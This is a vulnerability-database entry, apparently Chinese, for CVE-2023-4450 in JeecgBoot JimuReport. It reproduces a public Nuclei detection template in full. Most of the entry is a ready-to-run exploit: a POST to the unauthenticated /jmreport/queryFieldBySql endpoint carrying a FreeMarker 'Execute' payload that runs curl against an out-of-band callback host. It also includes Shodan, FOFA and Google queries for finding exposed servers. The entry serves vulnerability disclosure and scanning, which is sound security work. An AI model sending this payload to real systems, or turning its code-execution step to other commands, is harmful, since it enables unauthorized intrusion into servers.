CVE-2023-4450: JeecgBoot JimuReport - Template injection

日期: 2025-08-01 | 影响软件: JeecgBoot JimuReport | POC: 已公开

漏洞描述

A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

PoC代码[已公开]

id: CVE-2023-4450

info:
  name: JeecgBoot JimuReport - Template injection
  author: Sumanth Vankineni
  severity: critical
  description: |
    A vulnerability was found in jeecgboot JimuReport up to 1.6.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component Template Handler. The manipulation leads to injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
  impact: |
   Unauthorized api called /jmreport/queryFieldBySql led to remote arbitrary code execution due to parsing SQL statements using Freemarker.
  remediation: |
   Upgrading to version 1.6.1 is able to address this issue. It is recommended to upgrade the affected component.
  reference:
    - https://github.com/advisories/GHSA-j8h5-8rrr-m6j9
    - https://whoopsunix.com/docs/java/named%20module/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4450
  classification:
    epss-score: 0.90861
    epss-percentile: 0.99614
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve,cve2023,rce,jeecgboot,vkev


http:
  - raw:
      - |
        POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://{{interactsh-url}}\")} ",
          "type": "0"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
          - 'contains(content_type,"application/json")'
          - 'contains(body,"success")'
        condition: and
# digest: 4a0a00473045022009e7dc924e488d5e4e6bc0849e2419a15ec37ab6e7531bbecc4c1d02800c6640022100a2271421105af88e2528de4a453a986b467f7cc96bee9ffdf6f5769e0c7df3b2:922c64590222798bb761d5b6d8e72950

相关漏洞推荐